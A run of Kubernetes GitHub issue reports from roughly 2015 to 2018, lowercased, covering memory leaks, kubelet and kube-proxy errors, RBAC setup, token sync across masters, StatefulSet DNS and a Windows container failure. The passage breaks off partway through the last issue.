is this a bug report or feature request?  :\r \r  \r apologies for this not being more specific from \ in the controller manager\  -- i've attached a heap dump which hopefully will clarify but i haven't figured out yet how to track this down further to a specific controller. right now we're restarting the controller manager every hour to mitigate this issue.\r \r   what happened  :\r \r the controller manager leaked 32gb of memory before being oom killed. here's a screenshot from our monitoring tool:\r \r <img width=\ 652\  alt=\ screen shot 2017-09-18 at 9 00 18 am\  src=\ https://user-images.githubusercontent.com/23065472/30551658-ff5e29b2-9c4f-11e7-8551-40e304bd7d69.png\ >\r \r \r we have quite a lot of pod churn in our cluster because we run cron jobs, which i believe is related to this. there are not very many  active  pods in our cluster at any given time -- at most ~300. \r \r here's a heap profile from pprof:\r \r   pdf image of the heap profile:  profile004.pdf  https://github.com/kubernetes/kubernetes/files/1311320/profile004.pdf \r   raw data: \r   pprof.com_github_kubernetes_hyperkube.static.alloc_objects.alloc_space.inuse_objects.inuse_space.001.pb.gz  https://github.com/kubernetes/kubernetes/files/1311228/pprof.com_github_kubernetes_hyperkube.static.alloc_objects.alloc_space.inuse_objects.inuse_space.001.pb.gz \r \r i'm not super experienced with reading pprof files but this looks to me like pods are being leaked somewhere. there are about 1.2gb of pods, which is way more than the 300 active pods in the cluster should account for. \r \r here's a summary of the pprof file above:\r \r    \r  pprof  top\r showing nodes accounting for 1914.61mb, 96.89% of 1976.01mb total\r dropped 328 nodes  cum <= 9.88mb \r showing top 10 nodes out of 49\r       flat  flat%   sum%        cum   cum%\r   778.09mb 39.38% 39.38%   778.09mb 39.38%  runtime.rawstringtmp\r   597.51mb 30.24% 69.62%  1211.27mb 61.30%  k8s.io/kubernetes/pkg/api/v1.  podspec .unmarshal\r   183.11mb  9.27% 78.88%   494.25mb 25.01%  k8s.io/kubernetes/pkg/api/v1.  container .unmarshal\r   160.57mb  8.13% 87.01%   170.78mb  8.64%  runtime.mapassign\r    88.07mb  4.46% 91.46%    88.07mb  4.46%  reflect.unsafe_new\r       34mb  1.72% 93.19%       56mb  2.83%  k8s.io/kubernetes/pkg/api/v1.  volumesource .unmarshal\r    27.01mb  1.37% 94.55%    66.01mb  3.34%  k8s.io/kubernetes/pkg/api/v1.  podstatus .unmarshal\r    19.05mb  0.96% 95.52%    19.05mb  0.96%  runtime.makemap\r       17mb  0.86% 96.38%   541.01mb 27.38%  k8s.io/apimachinery/pkg/apis/meta/v1.  objectmeta .unmarshal\r    10.21mb  0.52% 96.89%    10.21mb  0.52%  runtime.hashgrow\r    \r \r \r   environment  :\r \r - kubernetes version: 1.7.3\r - cloud provider: aws\r - os: ubuntu 16.04\r - kernel: 4.4

 \r   what happened  :\r \r ran hyperkube using zfs backed storage. lots of warnings in logs due to missing zfs utils. see  54754.\r \r   what you expected to happen  :\r \r no errors in the logs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install docker ce, run hyperkube with all kubernetes directories on zfs mounts.\r \r   anything else we need to know?  :\r \r zfs utils are absent from hyperkube images. need to add jessie-backports or move base image to stretch and install  zfsutils-linux .\r

failure cluster  02bd8ba009292ae49af5  https://go.k8s.io/triage 02bd8ba009292ae49af5        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:138 beforesuite on node 1 failed /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:138           failure cluster statistics: 1 tests failed,    32 jobs failed,    246 builds failed. failure stats cover 1 day time range '1 dec 2017 02:33 utc' to '2 dec 2017 02:33 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 32 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 23 |  2 dec 2017 01:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/4093  | | ci-kubernetes-e2e-gke-1-7-1-6-gci-kubectl-skew | 18 |  2 dec 2017 01:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-1-7-1-6-gci-kubectl-skew/5326  | | ci-kubernetes-e2e-gke-cos-k8sstable1-slow | 13 |  2 dec 2017 00:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sstable1-slow/183  |   current status  https://go.k8s.io/triage 02bd8ba009292ae49af5

is this a bug report or feature request?  :\r  \r   what happened  :\r debs are only built for xenial. we've had requests in the past to support other distros including  zesty  https://github.com/kubernetes/release/issues/378  and  bionic  https://kubernetes.slack.com/archives/c2c40fmnf/p1531505736000019?thread_ts=1531502997.000100&cid=c2c40fmnf .\r \r /cc @timothysc

currently the rbd volume plugin expects the rbd utility to be present on the host, as it just executes shell commands   example  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/rbd/rbd_util.go  . this means that  on hosts where ceph packages are not available  i.e. coreos  rbd volumes cannot be used.

hi,  i am on k8s 1.4.0, i have successfully configured rbac with:      --admission-control=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota \\         --authorization-mode=rbac \\         --authorization-rbac-super-user={{ k8s_username }} \\         --runtime-config=api/v1,rbac.authorization.k8s.io/v1alpha1 \\      without having any roles and clusterroles and associated bindings, are service accounts supposed to work ?  it seems that my dns and dashboard are now failing in a crash loop, and i am guessing it is because i need to create a clusterrole for serviceaccounts to be able to access the resources in the api.  what is the best practice for serviceaccounts configuration if we turn on rbac ?  thanks

currently,  newnoninteractivedeferredloadingclientconfig  https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/clientcmd/merged_client_builder.go l53  in the  clientcmd   package  https://github.com/kubernetes/kubernetes/tree/master/pkg/client/unversioned/clientcmd  returns inclusterconfig if present  which is determined based on  whether there is a service account token available  https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/clientcmd/client_config.go l503   even though an override config was specified. in most cases this is fine as the config override used by some container anyway points to the same master address as that obtained from in-cluster config  of the container's host node .\r \r however, we require to have this override in kubemark, where we try to run a container for node-problem-detector in a pod  where the pod actually acts as a node in an overlay cluster  on top of the actual cluster  which has its own master called the kubemark master . here's how the manifest looks like for the  node-problem-detector container  https://github.com/shyamjvs/kubernetes/blob/fix-kubemark-npd/test/kubemark/resources/hollow-node_template.json l153 . and we want the apiserver-override to work for communication with the kubemark master, even though the inclusterconfig exists and points to the real master.\r \r cc @smarterclayton @deads2k @lavalamp @random-liu @kubernetes/sig-cli-misc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :  dev\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :  macos\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when running  make test  the following errors occur\r \r    \r --- fail: testpluginvolume  0.01s \r \tfc_test.go:197: detach was not called\r --- fail: testpluginpersistentvolume  0.00s \r \tfc_test.go:197: detach was not called\r fail\r fail\tk8s.io/kubernetes/pkg/volume/fc\t0.109s\r \r --- fail: testpluginvolume  0.00s \r \tiscsi_test.go:197: detach was not called\r --- fail: testpluginpersistentvolume  0.00s \r \tiscsi_test.go:197: detach was not called\r fail\r fail\tk8s.io/kubernetes/pkg/volume/iscsi\t0.106s\r \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/names  build failed \r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r a few other people tried it and reproduced the failures.\r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r token, secrets, unable to authenticate the request due to an error: crypto/rsa: verification error\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-17t20:36:07z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-17t20:20:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : physical servers  16 cores 32 thrads, 64gb of ram  for worker at our own datacenter in france, virtual machines for k8s management  4vcpu, 8gb of ram   masters, lbapi, etcd , and some ec2 instances  t2.medium  for united states workers.\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : linux mth-k8smaster-01 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : canonical kubernetes through juju bundle charms\r \r   what happened  :\r after a fresh install of a new cluster through canonical kubernetes bundle charm, if i reboot one of my 3 masters, it reboot with a new token secret different from the two others.\r \r \r   what you expected to happen  :\r those tokens need to be syced among the masters: they aren't right now. i got a new token that it loaded into the k8s object store during turn up and its not agree'ing with what the other masters have which would be why it showed up after reboot, not before.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r - bootstrap a cdk with 3 masters / 5 etcd / 5 worker  all other charms scale at default value \r - do a random reboot of 2 of your masters\r - check /srv/kubernetes/known_tokens.csv on all of them\r - they must be different on all your masters now.\r \r -> if you can't reproduce, please try again to reboot some masters again. sometime it's random. this time it happens at the first reboot immediately after a fresh-install  no extra-operation .\r \r \r   anything else we need to know  :\r discussed on irc  juju@freenode, bug opened at juju team request :+1:

http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1.6/3\r \r failed:  k8s.io  daemon set  serial  should run and stop simple daemon\r    \r error waiting for daemon pod to start\r expected error:\r     < errors.errorstring | 0xc4203a2600>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:118

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \ invalid network status for\ \r \ couldn't find network status for\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.6.0\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r -   kernel    e.g.  uname -a  :\r linux hostname_redacted 3.13.0-44-generic  73-ubuntu smp tue dec 16 00:22:43 utc 2014 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r after upgrading a cluster from 1.5.3 to 1.6.0, i see errors like the following in kubelet's log:\r  /var/log/upstart/kubelet.log:w0403 15:38:19.584738   25905 docker_sandbox.go:263  couldn't find network status for default/prometheus-node-exporter-2n784 through plugin: invalid network status for \r \r   what you expected to happen  :\r   for this error to not be generated if it's a false positive\r   for the underlying bug to be fixed if this is a real error but it's a bug in kubelet/kubernetes  and not some environmental trigger \r   for the error message to be more useful in the case the error is legitimate\r \r   how to reproduce it    as minimally and precisely as possible :\r upgrade a cluster from 1.5.3 to 1.6.0 and watch kubelet's logs.\r \r   anything else we need to know  :\r i am using a hyperkube image that i built from kubernetes source, and the compiled kubelet binary downloaded from the kubernetes project. this is the same way i deployed 1.5.3 and previous versions.\r \r i am using flanneld as an overlay network and not configuring any cni networking / network-plugin options to kubelet.\r \r i tracked this error message down to the following code.\r \r pkg/kubelet/dockershim/docker_sandbox.go\r    \r 229 // getipfromplugin interrogates the network plugin for an ip.\r 230 func  ds  dockerservice  getipfromplugin sandbox  dockertypes.containerjson   string, error  {\r 231     metadata, err := parsesandboxname sandbox.name \r 232     if err != nil {\r 233         return \ \ , err\r 234     }\r 235     msg := fmt.sprintf \ couldn't find network status for %s/%s through plugin\ , metadata.namespace, metadata.name \r 236     cid := kubecontainer.buildcontainerid runtimename, sandbox.id \r 237     networkstatus, err := ds.network.getpodnetworkstatus metadata.namespace, metadata.name, cid \r 238     if err != nil {\r 239         // this might be a sandbox that somehow ended up without a default\r 240         // interface  eth0 . we can't distinguish this from a more serious\r 241         // error, so callers should probably treat it as non-fatal.\r 242         return \ \ , err\r 243     }\r 244     if networkstatus == nil {\r 245         return \ \ , fmt.errorf \ %v: invalid network status for\ , msg \r 246     }\r 247     return networkstatus.ip.string  , nil\r 248 }\r 249 \r 250 // getip returns the ip given the output of  docker inspect  on a pod sandbox,\r 251 // first interrogating any registered plugins, then simply trusting the ip\r 252 // in the sandbox itself. we look for an ipv4 address before ipv6.\r 253 func  ds  dockerservice  getip sandbox  dockertypes.containerjson   string, error  {\r 254     if sandbox.networksettings == nil {\r 255         return \ \ , nil\r 256     }\r 257     if shareshostnetwork sandbox  {\r 258         // for sandboxes using host network, the shim is not responsible for\r 259         // reporting the ip.\r 260         return \ \ , nil\r 261     }\r 262     if ip, err := ds.getipfromplugin sandbox ; err != nil {\r 263         glog.warningf \ %v\ , err \r 264     } else if ip != \ \  {\r 265         return ip, nil\r 266     }\r 267     // todo: trusting the docker ip is not a great idea. however docker uses\r 268     // eth0 by default and so does cni, so if we find a docker ip here, we\r 269     // conclude that the plugin must have failed setup, or forgotten its ip.\r 270     // this is not a sensible assumption for plugins across the board, but if\r 271     // a plugin doesn't want this behavior, it can throw an error.\r 272     if sandbox.networksettings.ipaddress != \ \  {\r 273         return sandbox.networksettings.ipaddress, nil\r 274     }\r 275     return sandbox.networksettings.globalipv6address, nil\r 276 }\r    \r \r pkg/kubelet/network/kubenet/kubenet_linux.go\r    \r 541 // todo: use the addtonetwork function to obtain the ip of the pod. that will assume idempotent add call to the plugin.\r 542 // also fix the runtime's call to status function to be done only in the case that the ip is lost, no need to do periodic calls\r 543 func  plugin  kubenetnetworkplugin  getpodnetworkstatus namespace string, name string, id kubecontainer.containerid    network.podnetworkstatus, error  {\r 544     plugin.mu.lock  \r 545     defer plugin.mu.unlock  \r 546     // assuming the ip of pod does not change. try to retrieve ip from kubenet map first.\r 547     if podip, ok := plugin.podips id ; ok {\r 548         return &network.podnetworkstatus{ip: net.parseip podip }, nil\r 549     }\r 550 \r 551     netnspath, err := plugin.host.getnetns id.id \r 552     if err != nil {\r 553         return nil, fmt.errorf \ kubenet failed to retrieve network namespace path: %v\ , err \r 554     }\r 555     ip, err := network.getpodip plugin.execer, plugin.nsenterpath, netnspath, network.defaultinterfacename \r 556     if err != nil {\r 557         return nil, err\r 558     }\r 559 \r 560     plugin.podips id  = ip.string  \r 561     return &network.podnetworkstatus{ip: ip}, nil\r 562 }\r    \r \r as suggested by the code, i'm only getting these errors for containers that don't use hostnetwork. if i run  docker inspect  on the containers that are mentioned in the error messages, the values in the  networksettings  section are empty, but i'm not sure that's relevant.\r \r    \r         \ networksettings\ : {\r             \ bridge\ : \ \ ,\r             \ sandboxid\ : \ \ ,\r             \ hairpinmode\ : false,\r             \ linklocalipv6address\ : \ \ ,\r             \ linklocalipv6prefixlen\ : 0,\r             \ ports\ : null,\r             \ sandboxkey\ : \ \ ,\r             \ secondaryipaddresses\ : null,\r             \ secondaryipv6addresses\ : null,\r             \ endpointid\ : \ \ ,\r             \ gateway\ : \ \ ,\r             \ globalipv6address\ : \ \ ,\r             \ globalipv6prefixlen\ : 0,\r             \ ipaddress\ : \ \ ,\r             \ ipprefixlen\ : 0,\r             \ ipv6gateway\ : \ \ ,\r             \ macaddress\ : \ \ ,\r             \ networks\ : {}\r         }\r

we've been losing the kubemark master logs for almost all the last few runs of kubemark-scale in case of failure during  run-e2e-tests.sh  step.\r for eg:\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/455/artifacts/\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/454/artifacts/\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/444/artifacts/\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/441/artifacts/  440, 439, 438, ... \r \r we seem to have some regression s   https://github.com/kubernetes/kubernetes/issues/46851  and missing logs hurts.\r the aftersuite action in e2e framework should dump the logs after running the suite  ref: https://github.com/kubernetes/kubernetes/blob/master/test/e2e/e2e.go l270  even if it failed, and iirc that was the case before. but now it just seems to run stop-kubemark.sh right after failing e2e tests. it runs dumpclusterlogs later but that gets logs from the base cluster.\r \r cc @kubernetes/test-infra-maintainers @fejta @wojtek-t @gmarek

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r kube controller manager crashes when adding cloud provider argument as azure\r \r   what you expected to happen  :\r kube controller manager should function properly,\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r add cloud prov parameter in kubeapiserver\r kube_api_args=\ --tls-cert-file=/etc/kubernetes/certs/server.crt --tls-private-key-file=/etc/kubernetes/certs/server.key --client-ca-file=/etc/kubernetes/certs/ca.crt --token-auth-file=/etc/kubernetes/tokens/known_tokens.csv --service-account-key-file=/etc/kubernetes/certs/server.crt --bind-address=0.0.0.0 --apiserver-count=1 --cloud-provider=azure \ \r add parameter in controller manager\r \r kube_controller_manager_args=\ --kubeconfig=/etc/kubernetes/controller-manager.kubeconfig --service-account-private-key-file=/etc/kubernetes/certs/server.key --root-ca-file=/etc/kubernetes/certs/ca.crt --cloud-provider=azure \ \r \r kube api server starts but kube controller managers crashes\r \r   anything else we need to know?  :\r kubernetes was installed through ansible contrib\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  testadmin@hostname ~ $\r \r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release :\r  name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r \r - kernel  e.g.  uname -a  : linux hostname 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r error gist below\r    \r jul 19 19:36:53 hostname systemd 1 : kube-controller-manager.service: main process exited, code=exited, status=2/invalidargument\r jul 19 19:36:54 hostname kube-controller-manager 17502 : i0719 19:36:54.355473   17502 leaderelection.go:188  sucessfully acquired lease kube-system/kube-controller-manager\r jul 19 19:36:54 hostname kube-controller-manager 17502 : panic: runtime error: invalid memory address or nil pointer dereference  recovered \r jul 19 19:36:54 hostname kube-controller-manager 17502 : panic: runtime error: invalid memory address or nil pointer dereference\r    \r complete logs in file\r  logs.txt  https://github.com/kubernetes/kubernetes/files/1160292/logs.txt \r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r since k8s v1.7, kube-proxy starts listening on 0.0.0.0:10256 to serve default /healthz traffic from l4 external/internal loadbalancer  https://github.com/kubernetes/kubernetes/pull/44968 .\r \r when node-problem-detector runs in   standalone   https://github.com/kubernetes/kubernetes/blob/v1.7.1/cluster/gce/config-default.sh l180-l191  mode, it is a real daemon on node. by default, it will bind 127.0.0.1:10256 for the use of node problem detector server  https://github.com/kubernetes/node-problem-detector/blob/v0.4/cmd/options/options.go l66-l67 .\r \r this breaks kube-proxy's default healthz server:\r    \r e0719 22:13:54.263011       5 healthcheck.go:302  failed to start healthz on 0.0.0.0:10256: listen tcp 0.0.0.0:10256: bind: address already in use\r    \r \r   what you expected to happen  :\r kube-proxy and node-problem-detector should use different ports.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a 1.7 cluster with node-problem-detector enabled with standalone mode.\r \r   anything else we need to know?  :\r /assign\r  cc @ajitak @random-liu @nicksardo \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r the problem:\r we have not heterogeneous cluster with several types of xeon cpus and different speed.\r that leads to some scheduling problems where cpu 200m on one server != 200m other.\r currently we maintain some duck tapes to beat that.\r \r may be that make a sense to add a general feature that can scale cpu capacity based on cpu speed?\r \r i.e. example:\r set per cluster 2 ghz as 100%, and then count cpu with 1.8 ghz, as 0.9 cpu and cpu with 3 ghz as 1.5 cpu.\r \r & etc.\r \r that make a sense?\r \r thanks.

 >  \r \r   what happened  :\r pods are not visible with dns name to other pod s  when they are in not ready state\r i have created pods using statefullset and created headless service,when i ping/run nslookup with their dns names before they are actually ready i got below output\r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r \r nslookup: can't resolve 'xxxxx-server-1.xxxx-ms'\r \r while they are visible with with dns name after the pod is ready\r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r \r name:      xxxxx-server-0.xxxx-ms\r address 1: 192.168.200.116 xxxx-server-0.xxx-ms.exa-ns.svc.cluster.local\r \r note : for demo purpose i brought xxxxx-server-0 pod to ready state \r name                            ready     status    restarts   age\r xxxxx-server-0                  1/1       running   0                1d\r xxxxx-server-1                  0/1       running   0                 4h\r \r   what you expected to happen  :\r pods should be visible with dns name before they become ready as statefulsets can not depend on pod ips \r   how to reproduce it  as minimally and precisely as possible   :\r access or do nslookup of  statefulsets pod before they got ready using dns name\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ oracle linux server\ \r version=\ 7.2\ \r id=\ ol\ \r version_id=\ 7.2\ \r - kernel  e.g.  uname -a  :\r linux xxx.yyy.zzzz.com 4.1.12-112.14.15.el7uek.x86_64  2 smp thu feb 8 09:58:19 pst 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r 

repro: - start a cluster v0.14.1 - run the following command against this link  https://github.com/googlecloudplatform/kubernetes/blob/master/examples/mysql-wordpress-pd/v1beta3/mysql.yaml  -       kubectl create -f mysql.yml      actual: - see the following error message:      f0410 14:32:53.405437   21329 create.go:50  client error processing command: replicationcontrollers \ \  not found      expected: - error message explaining that v1beta3 api is not yet supported.

\r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r when deploying my service, i repeatedly received the following error on windows.\r   containerstatuses:\r   - containerid: docker://ea088615163e091759d6fcdc49092c1ce029e4161be02533a3f151df70911223\r     image: griffink8stest.azurecr.io/powerflowclient:90\r     imageid: docker-pullable://griffink8stest.azurecr.io/powerflowclient@sha256:b36fd5e448686e36f27a1491866ef217766019ebeafdeb10e92ae5d80c578fa0\r     laststate:\r       terminated:\r         containerid: docker://ea088615163e091759d6fcdc49092c1ce029e4161be02533a3f151df70911223\r         exitcode: 128\r         finishedat: 2018-10-12t17:05:13z\r         message: failed to get layer path from graphdriver &{%!s  layer.filemetadatastore=&{c:\\programdata\\docker\\image\\windowsfilter\\layerdb} \r           %!s  windows.driver=&{{1 c:\\programdata\\docker\\windowsfilter} 0xc042413e40\r           {0 0} map ff20a170863e745a6ceb270acd86353482ffbe9851078531c3be13bb87273a77:\\\\?\\volume{3774436f-cd76-11e8-88bc-bb612150ed82}\r           9ccf3d4c3ad36b05238524d2b1fa5e50f2ea44c825aae1389dc1f1fb1194bd6f:\\\\?\\volume{3774433d-cd76-11e8-88bc-9eb2aac3f885}\r           3a9fe3b48b35f332b77dfb25ed786953b65d9ba80f16ca4115040d17a3fd3e62:\\\\?\\volume{37744395-cd76-11e8-88bc-9571714fab9e}\r           ea088615163e091759d6fcdc49092c1ce029e4161be02533a3f151df70911223:\\\\?\\volume{37745ae5-cd76-11e8-88bc-9c859a928d63}\r           b7f416d3be300b324f5de66084dc1b1e8f9a0298730fc85c8d33db59cf22eb71:\\\\?\\volume{b31c74cf-2958-452b-8362-8e8c45eded1c}\r           4668ce4fdc782857a0e5f7e03c30a012d54de765be855e4d2803061f83a88563:\\\\?\\volume{37744104-cd76-11e8-88bc-81a4313cf70a}\r           c2f5a92ddeeb13628a712ebc8845d92e62fa2ff5acc9b60e3c83b74799f27646:\\\\?\\volume{37744308-cd76-11e8-88bc-99b79fc2b4aa} } \r           map sha256:9b1769a89f3469f58c0fc6e0247d932808ba74deec3387d33b48e942c7b454b6:%!s  layer.rolayer=&{sha256:9b1769a89f3469f58c0fc6e0247d932808ba74deec3387d33b48e942c7b454b6\r           sha256:ff85d2d670eea27de78d2e3ad9b67a2d5e687bb7c7e8b9da9bb8fa2954b805bf\r           0xc0423e30e0 b7e078cd08553f32a1da83ac1b6ef15e3743724a501679ee1c23206fb7b43649\r           1160212 0xc042416b90 { 0    } 1 map  }  sha256:19a02d5ca80bbe886856d0b72e854954b1603b363ab915878a0f49fbd3711d58:%!s  layer.rolayer=&{sha256:19a02d5ca80bbe886856d0b72e854954b1603b363ab915878a0f49fbd3711d58\r           sha256:43a7059535e4440e7cd30cebbd2db2312611cb13ef20f94e9c8b4405484a6a6f\r           0xc0423e3040 c8c181773f4581dc65e2ccadffd203adff63388cf58ba092216078f5d38e52fa\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:d6cdd43a0851a1309179c8531225ea2545e93f46c0012b49743e156f38b399d9:%!s  layer.rolayer=&{sha256:d6cdd43a0851a1309179c8531225ea2545e93f46c0012b49743e156f38b399d9\r           sha256:bf84d8f0c0f56bbc64d6cff664b176f208275922607f86429dd63f4629207044\r           0xc0423e2e60 2157fe190fe29e8910c3141c8f87b51b2da31634a57832ecb2a4efb5376dd8db\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:c9c89bc5d6ec6c20b8f0fc8d48e7b8be6817a27bb79fc72888cdf2b4efef90de:%!s  layer.rolayer=&{sha256:c9c89bc5d6ec6c20b8f0fc8d48e7b8be6817a27bb79fc72888cdf2b4efef90de\r           sha256:98ad79fa5f8d41d2dd099f94a5d90e5c70c55faa7954c41928e22801d285d5d6\r           0xc042fcea00 85bb144109f6ebd6219bdbce0516d8d6d76de96d0362529f5436e40ccfab75fa\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:5ffbec7d65f4019146e75d7cb9491b326fb7a147d67561100aa5e322c4d14224:%!s  layer.rolayer=&{sha256:5ffbec7d65f4019146e75d7cb9491b326fb7a147d67561100aa5e322c4d14224\r           sha256:cc651e5d41167a477031e42a8aa29c13162974ac93e716dd59a9d430def7592c\r           0xc0420f70e0 b8d2aeb1b53af80fbbb8e6632dd0e7510faaf3918fc14121077ba3a4cc2454e5\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:08bbde2a53d17f2102b39e9bf8028cc12372e6a5931433b7aab1b9f477e4aa4f:%!s  